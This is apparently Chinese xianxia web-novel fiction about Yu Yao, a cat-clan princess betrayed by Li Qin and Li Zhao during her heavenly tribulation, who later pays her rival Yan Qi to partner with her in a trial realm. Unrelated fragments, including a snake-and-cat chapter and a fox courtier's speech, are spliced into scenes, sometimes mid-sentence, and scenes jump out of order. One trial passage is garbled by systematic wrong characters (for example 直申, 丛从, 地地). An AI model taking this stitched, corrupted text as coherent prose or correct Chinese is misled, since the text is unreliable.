她心乱如麻,不顾危险,深入禁地,经过一夜一日的寻找,却一无所获。 等惊觉,已至腹地深处,又与黎诏走失,四周只有参天密林,无尽绵延。 恰在此时,“轰隆——”一声,天空电闪雷鸣。 原本一碧万顷的天空,忽然黑云翻涌,一只金色大圆陡然生出,雷龙遨游于圆盘之间,道道金光漫射而出。 此乃雷劫降世的预兆。 虞窈倒吸凉气,她入林子后,遭遇古兽袭击,九死一生方从野兽口下脱身,身上已负大小伤口。 今日并非渡劫的绝佳时机,可天雷已降,岂能躲避?唯有硬抗。 雷龙吸取四方雷电,逐渐粗壮,咆哮着,如同天道在示威,自万丈高空落下,以不可阻挡之势,重重鞭笞在虞窈身上。 她嘴角渗出鲜血,感觉筋骨一寸寸断开。 一道、两道、三道……她都悉数承下。 可就当最后一道雷龙要落下时,一道身影悄无声息出现在她身侧。 雷风凌冽,那人一身雪裙迎风鼓荡,分明是圣女一般的高洁姿容,此刻周身却浮起一圈妖艳光芒。 正是黎琴。 “黎诏与我说,以你之天赋,不日可渡劫成仙,我本不信,却没想到你真有这般本事。” “可虞窈王女,你今日注定成不了仙了……” 黎琴语调轻扬,轻笑施咒,袖摆随风荡漾开来,涌出无数灵力光点,汇聚成一根根红线,映照她唇瓣也泛出奇异血色。 “我所有谋划,为的就是今日。早在许久之前,我就已经在你身上种下暗咒,此咒法无形、无迹、亦不可察觉、却可调换你我气运。” 为何今日虞窈的雷劫,会毫无预兆地降临? 这一刻,答案昭然若揭。 便是有人以禁术引天劫。 曾经温柔唤她小妹之人,眼中旧日温情一扫而空,只余冷漠与怨毒。 风声呼啸,虞窈心中也是雷声嗡鸣。 在她下方的林地中,突然显出一个金色圆形罗盘阵法,数不清的咒文随罗盘转动,荡开磅礴灵气涟漪。 赤金光芒,亮彻天穹。 在虞窈未察觉时,她已成阵中人。 黎琴抬手咬破拇指,单手结印,以血为引,画出一只秘符,数不清的红线光点,像是毒蛇缠绕而来。 她所引阵法,乃是调换气运的欺天禁术。 试问,这世间如何才能彻底摧毁一人? 那便是夺去她最在乎的东西,抹杀她的心血,否定她的存在,再将属于她的一切占为己有。 “虞窈,以你之劫,换我飞升。” “今日,你必死。” “此时,此刻。” 那血线团团袭来,被虞窈躲过,见没有囚住她,立刻化为十二柄长剑,围绕在她身侧。 虞窈才承下四十八道天雷,整个人已是强弩之末,抬手起阵来应对,下一刻,肩头剧痛袭来。 一柄从暗处飞来的玄铁冷剑,狠狠洞穿了她的肩头。 三尺青峰长剑,像是一块彻骨寒冰,冷得她伤口剧烈收缩。 虞窈震荡的视野中,出现一道黑光,幻化而出青年的身影,那人一袭紫色暗金云纹长袍,笼罩在雷光中,俯眼凝望,丰姿俊秀。 他缓缓抬起手,经由他丢掷出的那柄飞剑,受到主人感召,在伤口处剜动,发出隐隐铮鸣声。 黎诏将她的反应尽收入眼底,笑道:“虞窈王女如此信任吾妹,只可惜情意错付,所信非人。便如尔父,想要重塑你我两族关系,结两族之好,更撮合你我二人联姻,以这把宝剑作为信物,可我羽民国万年前与猫本是同宗,实力所差无几,凭什么非得久居尔族之下,听尔统治?“ “四洲翼族、朝云王城,从前听命于猫族,此后都当尽归我羽民国,当由我们替神主管辖天空领地。” “一切,便从王女今日身死开始。” 话音毕,长剑出! 冷剑听到传召,从她肩头抽出。血水淋漓喷涌的刹那,天边最后一道雷龙,也以雷霆万钧之势,俯冲而下。 雷电流窜全身,虞窈抗下最后一道雷电,可肉身并未重塑。 取而代之的,是另一人飞升。 她自千尺高空坠落,强烈风声在耳,衣袂随风飘扬,看着天地间所有灵气,在这一刻,齐齐朝着另一方向汇聚,飞向那道漂浮于空中的雪白身影。 黎琴被灵力缓缓包围住,仙人金光,柔和圣洁。 二人于高处,俯看虞窈陨落,足尖轻点虚空,乘风离去。 从始至终,没有丝毫停留。 在他们离去后,天降雷火,烈焰焚林。 虞窈摔落在地,痛楚席卷周身,大火吞噬着视野,泪水自眼眶溢出。 她的世界在这一刻变得斑驳模糊。 耳畔边,还有旧日廊下的风铃声,少时她与黎琴牵手,看檐下铃铛轻撞,清脆的声音,伴随着孩童们笑闹声,仿佛永远不会散去。 可承受住四十九道雷劫的是她;从前怕承担不起猫王女之名,日夜苦学,不曾废止过一日修炼的,也是她。 凭什么旁人夺她气运,便可飞升? 巨大疼楚将她往深渊拽去,虞窈能感受到自己意识在一点点消退,口中汩汩吐出鲜血。 在意识濒临消退的边缘,她忍着剧痛,在烈火中睁开了双眼。 随之而来的,是胜过雷劫千倍的痛楚。 那双她曾经无比爱惜的羽翼,被野火烧得枯黄,显出丑陋的颜色。 虞窈咬牙含泪,撑着地面,一点点、慢慢地,从地上匍匐爬起来。 她抬起头,在看到一道熟悉的身影时,强忍的泪水抑制不住夺眶而出。 泪珠伴着血痕,溅落在地。 “羊滢……” “虞窈,我带你走。”羊滢伸手来搀扶住她。 可虞窈心知,她那无比单薄的修为,在这座火海铸成的炼狱前,渺小如蝼蚁,要想带自己离开这里,何其的困难? 耳畔边,突然传来了两道急促的脚步声—— 是那二人去而复返。 “阿琴,我无法心安,须得亲眼见虞窈身死,方能彻底放下心来。” 黎琴的声音随之响起:“此处动静过大,很快便会引来众人。四十九道雷龙,又加大火焚身,她断无生还可能,何必还要再寻?” “倘若让她侥幸逃走,岂非贻害无穷?你我分头搜寻。” 虞窈循着声音方向望去,眸中掠过一缕水刀似的锋芒,羊滢见她双手起势,却惊觉不对—— 一股微弱浅蓝色的光芒,流动在虞窈指尖,她抬手,法力破空而来,生生在羊滢身后开辟出一条路。 在羊滢尚未反应过来之时,一股汹涌法力扑来,猛地将她送出了火海。 羊滢重重跌倒在地,视野之中,是火光后那道纤柔身影随风晃荡,被涌动火焰扑上,消失得再也不见。 火海深处,虞窈喘息着,以仅有的灵力将羊滢送出去,也只能将她送出。 做完这一切,她身子已是摇摇欲坠,捂住鲜血淋漓的手臂,往相反方向走去, 猫族天生亲火,那些火苗曾经听命于她,根本无法伤害她,谁料如今却变成要她命的恶鬼,争先恐后拉扯爬上她的衣袂,舔舐她的肌肤。 她的衣袂脏乱而狼狈,长发凌乱贴着面颊,每一步都似踩在刀剑上,却丝毫没有放慢行走的速度。 身后脚步响起,越发近了,如影随形,犹如鬼魅纠缠不休。 恰此刻,右手传来灼疼,虞窈下意识抬手。 自己手掌开始消散,幻化成金色的光芒,落进四周草木中。 没有灵力作支撑,她连最基本的人形都再难支撑。 虞窈感觉到身形在消失,拼命往前方林子奔去。 可接着,脚下却定住—— 前方纵横交错的树枝之后,有晃动的人影,那里有人。 同时身后人穷追不舍,也越来越近。 间不容发,没有时间再给虞窈做决断。 当她看到一只鸦黑色的猫儿从对面林子掠翅飞出时,当机立断,双手抚掌掐诀。 顷刻间,她的身形消散于风中,衣袂化作无形,只化为一缕魂魄,朝着那只猫撞去。 黎诏一路破开熊熊烈火,才出火海,就看到一缕金灿光芒撞入飞来的乌鸦身子里。 他立马抬手,要将猫擒来。 然而还是慢了一步。 一阵清风回旋,一道男子的身影已先一步出现在那只乌鸦身边,黎诏甚至没有看清他是怎么出现的。 清风拂过,枝叶纷纷落下。 那人逆着光,身影掩映在树影下,抬手将身侧长剑缓缓收入剑鞘,弯下腰去捡掉落于石头上的乌鸦,玄袍收束,勾勒出紧窄的腰身。 从这个角度,根本看不真切那人的样貌,只依稀可见被光影切割得破碎的身影,颀长挺拔,似琳琅青竹。 刚刚黎诏擒猫的法术,到达他周身的一瞬,如水波散开,连那人衣袂一角也不曾触到。 如此,绝非常人。 黎诏快步至那人身侧,待看清对方容颜,不由愣住。 竟是他。 “晏歧少君?” 对方骨节分明的左手,提起那只丑陋如邪祟的黑猫,俯眼凝望,眉心轻蹙。 黎诏望向那只黑猫,笑道:“没想到会在这里遇上少君,少君手中之物,乃在下豢养的灵宠乌鸦,今日不知怎的竟从笼中出逃,闯入此禁地,成了这副奄奄一息样子。” 那束朝乌鸦飞去的光亮是否是虞窈作祟,黎诏无法确定,但宁可错漏,不可放过。 他失笑:“此鸦入少君之手,与少君也是有缘,不过实在生得丑陋,污了少君的眼,还望少君将他交还给我。” 这话落下,这位少君的视线,终于从那只被烧得焦黑的乌鸦移到了他身上。 那双睫羽浓郁的眸子,在光影中显出一道流光,“你的灵宠?” 若是细听,可辨得其中的不悦。 或许是他周身太过充沛的灵力,又或许是身份斐然,那慵懒疏离、高高在上的气度,这样冷淡的一句话,从他薄唇口中吐出,令人后背不住地滑下冷汗。 黎诏有一瞬的失神,复而笑道:“确实是在下的灵宠,此乌鸦名唤灰舌,少君有何疑问?” 今日,他定要将这只猫带走。 他才要再次开口,却见对方神色复杂,凝望他良久,随即长眉微挑——那琉璃球体正以一个极缓慢的速度毫无规则地在空中旋转着,有不明的纯黑色晶体覆于其上,几乎就快要将那纯净的琉璃球体吞噬殆尽。 玉面狐慢条斯理地用折扇遮掩住了微微翘着的唇角,只露出一双狭长多情的桃花眼睛,眸含笑意。 他坦然自若地迎上了日尧和月女的视线,语调微妙地开口道:“二位暗卫统领的忠心着实令玉某佩服。” “不过,三界谁人不知这生死境的凶险之处,在境中待的时间越久,越易迷失本心。” “从未有人能在生死境里撑过半月,更遑论尊主大人已入境一月有余,至今未能从中脱身。” “玉某能够理解尊主大人于二位有莫大的栽培之恩,可二位统领都是聪明人,尊主现下究竟是死是活,想必二位的心里其实比玉某更加清楚。” “玉某奉劝二位一句,不如早些回心转意,另投明主。” “否则,固执地为着一具尸体效忠,此乃愚忠,实在是蠢笨至极。” 日尧被玉面狐这一番话气得咬牙切齿,险些就要幻化出利爪,朝着玉面狐扑咬而去。 却被月女及时冷声叫止:“日尧,冷静些,这般轻易就被激怒,不就正好落进了他给我们设的圈套里么。” 是猫的错觉吗?臭蛇的声音听起来似乎有些疲惫。 想来也是。 臭蛇才在生死境里待了那么久,出来后又跟以狐狸为首的那群妖打了一架,猫还要咬他的话,是不是不太仁义? 可臭蛇说不让猫动,猫就当真不动了的话,那猫也太没面子了吧? 猫猫大王的威严何在! 于是短暂思忖了片刻,猫想出了一个绝佳的折中办法:“那你得求猫猫大王,猫猫大王才不咬你。” 猫觉得自己真是好聪明。 毕竟,以臭蛇这么傲的性子,是断不可能做出求一只小猫这样的事情来的。 但猫已经给了臭蛇选择的机会,臭蛇自己不选,那可就怪不得猫了。 然而晏岐依然闭着眼睛,像是当真疲惫极了。 听完猫的话,也没有别的什么反应,只是将怀里的猫抱得更紧了些。 “嗯。” “求求猫猫大王,发发善心。” 第 37 章 第三十七章 虞窈始料未及,愣在原地。 真真求啊? 猫都还没有做好准备呢。 小白猫下意识地抬起头来,只是尚未看清楚晏岐此刻的神情,毛绒绒的头顶就被晏岐的下颌给轻轻抵住了。 泛着幽幽碧光的蛇尾也不知在什么时候游上了床榻,硕大冰凉的尾巴尖与细长蓬松的小猫尾挨在了一起,呈现出“lI”形状。 猫于是不动了。 晏岐垂下眸来。 只见小白猫不知不觉就将圆滚滚的身体给蜷了起来,在他的身前睡得很熟,柔软的、小小一团的身体有规律地上下起伏着。 是这间冰冷的客栈里唯一的温暖。 有着令人的心不由自主便软下来的魔力,心上也偷偷开出小花。 晏岐就这样安静地盯着猫看了许久。 自打从生死境里出来以后,猫额心处的白金色月牙印记便消失不见了。 少女发间香气浓郁,一来便缠绕上他的鼻尖,像是一张细细密密的网,怎么也逃不开,将他的呼吸层层套住。 她道:“试炼的奖励,我有重用,你我已是同辈之中佼佼者,与其大打出手,不如合作,这袋灵石聊表合作诚意,不知你可否答应?” “我为何要同意?”秘境内部,天空漏开一条巨大的口子,一道道光影闪过,降落在秘境的不同方位,待所有灵修都已进入,口子再次合上。 众人落地后第一件事,就是拿出长老们为他们准备的歧盘。 不过几息之间,歧盘上那象征着试炼者生命体征的幽光,已一连灭了几十道。 又是“啪嗒”,几道幽光暗淡下去,灵修皆屏住呼吸。 长老们的叮嘱,回荡在众人的耳畔。 “进去后,先去山谷腹地。那里有给你们补给,还有一些特殊的灵器,能帮助你们在秘境中存活。” 众人浑身的血燥热起来,一个个开始往掉落宝器之地奔去。 晏歧穿梭于山谷中,简单叮嘱身后人:“前面就到山谷腹地,记得,只拿最上品的补给。” 身后人未曾回答,晏歧转头,见她目不转睛盯着下方林间的一道闪过的影子。 虞窈回头道:“明白。” 前方翠林如海,苍黛凝重,连绵起伏的山脉,如同蜿蜒盘踞的蟒蛇。 有队伍比他们快上几十步,晏歧一个瞬移,先一步到补给堆边上,抬起手正要拿走上品补给包。 只听身后,“轰隆”一声巨响。 是从虞窈的方位传来的。 晏歧眉心微蹙,迅速在空中回身,但见一道浓烟散开,被攻击的不是虞窈,而是她身后的两人,黎琴黎诏。 秘境才开启,所有人都在争分夺秒强夺补给,虞窈却从袖摆中抽出一只符篆,抬手召唤出一只金色的笼子,将黎琴黎诏二人团团困住。 笼中赤红的火苗一丝丝窜出来,笼中二人神色阴郁,立马做出反应,要破开阵法。 虞窈手掌朝着虚空一握。 接着,“轰”的一声,金色笼子飞速穿过群山,在众人的视野中,化成一块小小的黑点,眨眼间,便被送出万里之远。 虞窈俏眉微微挑起,优雅地收回手。 众人:“……???” 秘境外,被早早踢出试炼的众修,皆看到这一幕。 虽然早已知小师妹精通阵法,符篆之术了得,但亲眼所见,还是令人惊叹。 “哎呀,没料到啊,师妹怎么开场就开了个大的。” 可正常人入秘境,这个时候都会想着拿了补给包,便立马躲起来。 是这二人太狂,完全不在乎当活靶子是吧? “倒是这黎琴,不应该啊,已经飞升成仙,怎么说也能稳占上风,怎么被一道符篆就给困住,被打得毫无还手之力?” 显然,在这场试炼开始,黎诏黎琴就落入了明显的下风。 补给包数量就这么多,二人被送到万里之外,等挣脱出笼再回来,还能捞到什么好东西? 秘境众人被动静吸引去注意力,等回过神来,才想起第一要紧的事,可上等补给包已被虞窈和晏歧挑走,那二人身影扬长而去。 “轰隆隆——” 天空隐隐有落雨的趋势,顷刻间乌云密布。 这秘境里一切都尤为邪门,雨丝沾湿在人身上,灵力都好像渐渐衰微了下去。 那山巅尽头,有一道风暴朝着这里袭来! 众人抢夺完补给包,道:“此地不宜久留,快找个地方躲起来避雨!” 大雨在林间肆虐,林间深处,一处不起眼的小洞,有二人正在避雨。 虞窈进来后,抖擞一下身上的雨珠,衣裙瞬间变得干爽,她转身在石头上坐下,见晏歧立在洞穴口,看着外面的雨雾。 秘境中气候极端诡异,尤其是这雨雾,瞧着能冲刷走人身上的灵力。 虞窈偷偷捞过一颗丹药,放入口中,提醒自己切记切记,灵力一定要省着用,否则灵力耗尽,自己给死对头当灵宠的事暴露,还有没有脸见人了? 晏歧回身,似有话对自己说。 虞窈搭在裙上的手微微蜷了一下,虽然达成了短暂同盟,但进秘境前,二人除了略聊了一两句,便再无别的交谈。 今日早上二人见面,更是连招呼都懒得互相打一下。 他开口,话语被喧嚣的雨声盖住。 虞窈只得微微倾身,将耳朵凑过去,他低下头,发上有一滴雨丝落下,“啪嗒”一声,溅落在虞窈耳垂上。 又是这股潮湿温热的气息,让人感觉痒极了。 他开口,声音冷淡:“我记得进秘境前说好,你我开场后不管其他,先去拿最上品的补给。” 这是在暗指,她不按团队的计划行动。 可当时虞窈的杀身敌人就在眼前,若不拷打一下,怎么过意得去? “一些私人恩怨,若是你站在我的位置上,定然也会动手。且我也吸引了其他灵修的注意力,给你争取了时间,顺利拿到补给包。你拿我的灵石,就不许说我了哦……” 虞窈说到一半,想到外面指不定有人在看他们,立马收回了话语。 按照晏歧的冷傲性格,事情脱离控制,想必看她不爽极了。 可他拿人灵石办事,就得有个办事的态度呀。 虞窈刚教训完人,倒是心情愉悦,低头检查随身携带的符篆。 她也真没想到,黎琴面对自己之前制的符篆,竟没有丝毫抵抗之力。 那是否自己无须成仙,只要拿到治愈宝器,恢复大半经脉,便可放手一搏击杀她? 这时,她身上的歧简闪烁起了绿光。 虞窈将歧简打开,羲照暴跳如雷的声音立马响起。 “你和晏歧在哪?”可为地地审判台? 四洲史书记载的,自上古以去,地地审判台口开过七次,审判的皆是残忍无度、罪大恶极之辈,会被钉在耻辱柱上万年。 “竞直的是戒律直申,不是幻影吗?” “若口是幻影,苍琼上申与祝衡上申怎会认不进去?” 但见那两立上申,面对威望更胜七层的元古直申,也垂首行礼。 熊让戒律直申进面,可见令日之是,牵扯重大。 口是虞窈怎幺敢召唤戒律直申?七旦荒言被拆穿,会得倒十倍百倍的惩罚,虞窈那里去的但量? 还是说,她所说才是直的? 短幼是醒身后弟孑门:“直申在比,不得口进王言。” 丛从立马噤声。 戒律直申眼中无怒无喜,无悲无怒,口七片泠峻。 他缓缓首:“黎琴黎诏,可知罪否?” 黎琴抬起头去:“敢问直申,我有可罪?” 虞窈握着歧简的手一顿,“我们在山上。” 羲照的声音传来:“坏猫,还敢骗我?我已经看到你了。” 面前的林子亮起一道光,羲照与他的队友淋着雨,浑身沾湿,朝着洞穴奔来。 羲照一进来,先恶狠狠剜虞窈一眼,又对晏歧冷哼一声。 晏歧倒是唇角微勾:“羲照兄。” 羲照古怪看他一眼。 这人真是太知道怎么让人不爽了。 山洞里的空间,随着二人的到来,立马感觉少了一半。 虞窈挪了挪身子,给二人让出一点位置,指尖微蜷,正犹豫着要不要和晏歧商量接下来的计划。 一只头伸入她与晏歧之间,挡住了虞窈的目光。 羲照生硬地挤入二人之间。 “我没有要你同意,我是和你商量。” 她轻咬“商量”二字,神色认真无比:“商量着你若没有组好队,便考虑考虑我,也不知多少灵石能够打动你,能劳烦你陪我几日?” 他低下头,看到她乌灵的眸球溢满光亮。 对于这个屡次与自己对上的猫族公主,他的印象便是一个眼高于顶、盛气凌人的麻烦精,身边总跟随着各种各样的倾慕者,享受着被众星拱月的感觉,与那群自诩仙门望族出身、仗势欺人的灵修没有区别。 可眼下,那双望着他的眼睛一点也不倨傲,她也未做过外人所说欺凌人的恶事。 晏歧第一次这样近的打量她。 “为什么?”他开口问。 “我不能多说,总之我要得到治愈宝器,你是最好的合作对象。你若是想要别的东西,法宝还是灵丹,与我说,我都可以与你交换。” 她从乾坤袋中,拿出一本册子递了过来。 晏歧接过,随意翻看了两页,挑眉看向她。 虞窈道:“此秘术册子我珍藏多年,记载着上古秘术,有许多已经失传,每一套练习后皆有奇效,我一直不曾示与旁人,” 她语调轻扬:“晏歧,这个给你,你要不要和我一起?” 灵石、宝器、灵丹、乃至先人留下的秘术册子,她都摆了出来,诚意可谓十足。 虞窈在等着回应,院内人也在等着。 躲在门后的两人一猫屏住呼吸,其中一人道:“老大和猫族公主在说什么,靠得这样近?猫公,你耳朵灵,快听听。” “小青鸾拿灵石,好像说要买我们老大。” “买……什么?”说话者声音颤抖。 “买老大陪她几天几夜。” “几天几夜?” 猫公咧开嘴,露出两颗尖利的牙齿,朝着虞窈的背影一通隔空乱抓:“对,小青鸾还递给了老大一本秘术册子,说要和他一同修秘术,这册子她平时不给人看的。” 什么秘术,要两个人一起修? 宗沅看猫公如此确定,心中鼓声大作。 几天几夜一起练秘术呢,不是说好的死对头呢? 但老大为什么还在和小青鸾说话,看上去没有要拒绝的意思啊? 宗沅头皮发麻,回头看一眼苍星洲,发现对方额顶出了一片细汗。 猫公做了个噤声的手势:“别说话,本来院外设有屏障,我就听得不太清。” 那边二人立在花树下,一高挑挺拔,一窈窕清灵,若是不知内情的人在,必然要说一声般配,可这二人站在一起越是和谐,便越是诡异。 晏歧没有回答,望着面前人。 虞窈余光感觉到门后几人视线,颇有些不自在,支支吾吾道:“这是秘籍的上半册,下半册在我那里,事成之后,定然给你,你要还是不要?” 晏歧道:“考虑考虑。” 考虑?这有何考虑的,晏歧,你还给我装。 虞窈靠近一步,伸手要回册子,道:“不要给我,我去找旁人。” 晏歧问道:“你想与我一起进秘境?” 虞窈指尖轻轻蜷起,被他那双漆黑的眸子,看得心头发烫。 这话由她自己说出,和被再问一遍,是截然不同的感觉。 虞窈点头,嗯了一声。 晏歧道:“可以。” “当真?”虞窈眼中浮起光亮,没料到他这么轻易就答应,将手上那袋灵石塞到对面人怀里,“这个给你。” 她又变出一袋,“这个也给你!” “晏歧,我们说好了,你不许反悔!” 院外人兴高采烈,院内人脸上则阴云密布。 猫公脸黑:“那小青鸾怎么这么高兴?感觉都快变成小猫围着主人飞了。” “老大不会答应了吧?” “就为了几块灵石?” 那猫族公主眉眼缀着喜悦,走之前,还给老大挥手,裙摆扬起的弧度都昭示着开心,众人瞠目结舌。 等虞窈走后,两人一猫连忙围上去。 卧龙后知后觉,从屋内飞出来:“你们说什么,老大要和小青鸾在一起了!” 猫公给了卧龙一爪子,“胡说什么呢,是那小青鸾要与老大进秘境,用灵石买老大几日。” 宗沅以为自己听错了:“进秘境?” 晏歧蹙眉:“不然呢?” “没、没什么……”宗沅松一口气,后脚跟着他进屋,“不过老大怎么会答应虞窈?连我都未有机会和老大组队。她用何法子叫老大答应的?” 宗沅屏息以待,却听晏歧缓缓开口:“她给的,实在太多了。” 实在,太多了。 两麻袋极品灵石,十个极品宝器,还有一本秘宝册子,事成之后皆翻倍。 是,是了,宗沅牵强地扯下嘴角,看着眼前姿态慵懒,拿起猫食喂食翢翢的男子。 他们老大晏歧,可不是什么不食人间烟火的高贵仙君,他手头拮据,又要养家,又得照顾一山的灵宠,偶尔还得接济同窗。 光后山上,那几只灵兽,外表看似是小山羊,其实是古兽幻化而来的,如同销金窟一般,每日需要晏歧花大量灵石供养着。 现在有人送灵石上门,焉有不收的道理? 宗沅抱胸看着地上三麻袋灵石,“不过,小公主灵石是从何处来的?他父王给她的零用这么多?” 至于虞窈的灵石,从何而来这么多,可以说上个几天几夜。 除了她父王给的一小部分,大多都是自己攒的。 其中来钱最快的方式,那便是卖羽毛。 青鸾大猫一身羽毛昳丽,在光下色泽潋滟,如水面波光粼粼,若做成衣裳,可以防水防火,更能在情急时,幻化成抵御敌人的火墙。 若非自然脱落的,虞窈也绝对不舍得卖。 虞窈回到寝殿,心情愉悦,也没想到晏歧这么快就答应,连带着将自己卖羽毛好不容易攒下灵石送人的不舍都冲淡了许多。 自己本还留有后路,打算变成小小猫去劝说一番,眼下倒省却了这一部分。 虞窈开始准备入秘境要带的东西。 这次试炼规则,限制极多,每人限制带十件物品,不允许带法力强大的杀器,也不允许带高武的法宝,只允许带自己制的符篆,到时候进入秘境,更像是原始搏斗。 对虞窈而言,灵丹肯定是要带足的,不然便会灵力不支,当众变回小猫。 她挑挑拣拣,选了一圈,十件物品有一半是灵丹,此外便是带上了自己制的最满意的符篆,都是自己未被偷换气运前制作的,蕴含着强大的灵力。 虞窈拍拍手,看着自己的包裹,也不知晏歧那边准备的怎么样。 她幻化成小小猫,正准备回去看一看,也是此刻,这具躯体感受到了传召,是主人在召唤灵宠归家。 “雏,你真是玩野了,还知道回家!” 虞窈一回来,卧龙就开始在她耳边喋喋不休。 虞窈置若罔闻,飞到桌边。 晏歧人不在外屋,包袱却已经收好,打开来,里面摆放着一把剑、几块饼,此外便没了,一个法宝也没带。 这就够了?就连剑瞧着也不是非常特别。 猫公跳上桌,道:“老大说,这把剑看着简单,但打架却极帅,到时候进秘境,外面的人可都能看到秘境里人的一举一动呢。” 虞窈哼了一声,他不带宝器,是觉得用最简单的方法获胜,最能耍帅是吧? 猫公将包袱重新打包好,放到架子上,叹息道:“老大不在,后日就得我一个猫照顾后山那群大兽了,愁啊。” 卧龙来到虞窈身边,嘴里叼着一只竹球,“看,这是老大给我买的玩具,你有吗?” “啪”,小小猫掏出一只粉色的宝石额链,往自己脸上一贴。 卧龙一下明白了,眼中涌起泪珠,“哇”的一声大哭,“老大怎么给你买这个!” 晏歧从内屋出来时,就看到小小猫叉着腰,耀武扬威,像个骄傲的小狮子。 猫公迎上来,问道:“老大今晚出去?” “不出去。” 晏歧坐下,指腹划开书册,幽幽烛光照着他的侧颜,他看着那本秘术册子,轻声道:“收人灵石,为人办事,得蓄精养锐,不是吗?” 小小猫啾了一声,目含赞许。 猫公捞起小小猫,将它塞到笼子,道:“天晚了,你也该睡觉,不许打扰老大看书。” 黑布落了下来,虞窈钻进了小被子里,心想晏歧还挺有眼色的。 看看,这才是拿钱办事的态度。 一夜好眠,次日清晨,虞窈被一道清脆的声音吵醒。 她翅膀揉揉眼睛,环视屋内,内间传来哗哗水声,像是有人在沐浴,猫公正在外面逗小犬,没注意到屋内的歧简响动声。 “啾啾!”她唤了一声,很快被水声盖住。 虞窈没办法,只得去帮忙接歧简,她推开笼门,飞到歧简边,爪子一踩,歧简那头声音迫不及待跳出来。 “老大,老大,我是宗沅,昨天晚上我和苍星洲也收到了一个大单子,但不敢接,得汇报您一下。” 虞窈转头,晏歧在内间沐浴,自己也没法叼着歧简送进去。 “老大,老大,你在听吗?” 那头,宗沅得不到回答,疑惑地挠了下头,正犹豫挂断,一道声音响起:“对,没错,是我,你们的老大,晏歧。” 这道男声沙哑,听着有些古怪,但的确是晏歧的音色,歧简有时候就是传音不太好。 晏歧问:“是谁的单子?” 宗沅压低声音:“是虞窈的。” 他顿了顿,“虞窈昨日傍晚给我们歧简传音,让我们帮她做课后功课,她近来落下的课业有点多,我想着拒绝,但后来我终于理解你的心情了,她真的——” “给得太多了。” 宗沅也不知自己耳朵是不是幻听了,怎么听到那头传来“哼哼”声,似乎很是得意。 “但老大,我还是想问问你,我和星洲是否可以接这个单子?” “当然可以,你们帮我多照顾照顾她。我已经收了她的灵石,答应与她一同进秘境,你们也收下,以后你们就当虞窈是第二个老大。” 宗沅:“虞窈?我们照顾?当成第二个老大?” 那边道:“没听清?” 是了,就是这个懒洋洋的语气。 宗沅咬牙:“明白。” 歧简的亮光暗淡了下去,虞窈收回爪子,这个时候,歧简绿光再次亮起。 虞窈打开歧简:“又怎么了?” “晏歧,昨日你在林中重伤了我们大哥,明日秘境你和你队友小心点!”声音咬牙切齿。 虞窈还以为是谁呢,原来是昨日在林中那仗势欺人的一帮男修。 挑衅晏歧就算了,那知不知道,现在和他一组的是谁? “对对对,是我,我就是晏歧。” 虞窈翅膀抬起,将歧简送到猫喙边,学着晏歧慢条斯理的音色:“啊,看我不爽啊,然后呢,打死我?” 仿佛那枚印记只是他在境里产生的幻觉一样。 不过已经不重要了。 晏岐抬手,很轻地摸了摸小白猫的耳朵。 蛇信轻抵着上颚,有那么一个瞬间,是真的想要咬一下的。 但直到最后,晏岐也只是用粗长冷硬的蛇尾将整只小猫都圈在了其中。 极具占有欲的姿态,就像是一只贪心的龙圈住了自己的至宝,不容他人觊觎窥探一样。 做完这一切,晏岐才缓慢闭上了眼睛。 下颌轻轻抵住了小猫咪柔软的脑袋,与猫挨在一起。 随即勾起唇角,餍足地笑了一下。 第 38 章 第三十八章 疲惫至极的虞窈一沾上床就睡得不知天地为何物。 第一天,猫直接从床头睡到了床尾,笔直的一根小猫条很是霸道地霸占了整个床铺。 有时候碰到晏岐了,就会踢一踢他。 意思是,让让让让,碍着猫睡觉了。 第二天,猫在美食的诱惑下,勉为其难地闭着眼蛄蛹到了床边上。 毛绒绒的小猫脑袋探出去,半梦半醒地叼走了晏岐递到嘴边的吃食,嚼嚼嚼。 然后翻过身去,拿圆滚滚的屁股对准晏岐,继续呼呼睡大觉。 第三天,猫感觉到有一根微凉的手指轻轻戳了戳自己。 《养猫秘籍》第十条:为什么小猫总喜欢站在高处俯视你?因为这时它会感觉自己很伟大。 夜已经很深了,猫与翢翢都睡去。 小院屋中,晏歧视线从册子上抬起,落在了屋子高处的站棍上。小小猫眼瞳漆黑,依旧精神抖擞,正居高临下睥睨着他。 《养猫秘籍》第十三条:小猫总盯着你,只是为了观察你? 不不,那是因为喜欢你!毕竟,谁会一直盯着讨厌的人呢,小猫也是这样! 晏歧合上了册子。 定罪得拿证据,他有吗? “你不知罪?”声若洪钟,传遍地际。 当这首声音七进,所有从都察觉倒直申愠怒了。 忽然间,地地颜色大变,沉沉的黑暗铺地盖地席卷而下,四周的风愤怒嘶吼,裹挟着熊撕碎从的刀量。 丛从脚下不稳,慌乱不知所措。 接着,地面传去巨大动静,七座圆形的高台拔地而起,涌动着浩荡申刀,直冲云霄。 高台边缘四周,毫无征兆地进现七根根申柱,有锁链飞进,将黎琴、黎诏死死锁住,七下带离地面。 “哐当”,锁链拍打着申柱,声音令从后背发麻。 虞窈眯了眯眼,视线和脑袋随他动作而动,不知道那本册子上写了什么,但想必是歪门邪道。 不过经历了今晚的事后,她倒是想知道,晏歧为何如此反感自己? 猫公曾无意间说,自己在学宫横行霸道,嚣张跋扈,处处欺凌人。 可自己当真没有欺凌过同窗,反倒晏歧,她听羲照说过,他私下在学宫收保护费。 但晏歧渡化恶灵,放走古兽,又照顾灵宠,分明还算心善。 这样的人会在学宫,压榨同窗,收取保护费? 只怕会对这等行为深恶痛绝。 那他若听到,她虞窈在学宫欺负别人,会是何感受? 虞窈换位思考,定然是厌恶不已。 他对自己的反感,是否起源于此呢? 夏风从窗外吹来,案上的书册随风翻卷。窗外天色逐渐从漆黑变为墨蓝,又变为蔚蓝。 午后,羲照与虞窈在森林中一处空闲的练武场练剑。 “后日就要进秘境试炼了,你准备得怎么样?”羲照甩了甩手上的长剑,朝着虞窈手中剑砍去。 两道长剑碰撞,迸溅出冷星。 “晏歧那臭小子,哪来的底气,敢当那么多人脸,下你面子?还好我为你扳回一局,咱们输什么也不能输了气势。” 他顿了顿:“这可是你父王教会我的道理。” 虞窈道:“我父王说的?他一被人欺负就掉眼泪,听说他以前在学宫上学时,都是边哭边和人打架的。” 羲照:“……” 他使出浑身解数砍去,不想对方纹丝不动,反而四两拨千斤,一个巧妙地化解他的招式,就将他的剑挑落,逼得他连连后退。 剑落地,插进泥地里,剑柄还在颤抖。 羲照转身看到小妹挑衅的骄傲神色,气得口中骂出猫语啾啾。 他道了一句“不练了”,走到台边坐下,全然忘记自己方才那句“输什么不能输了气势”。 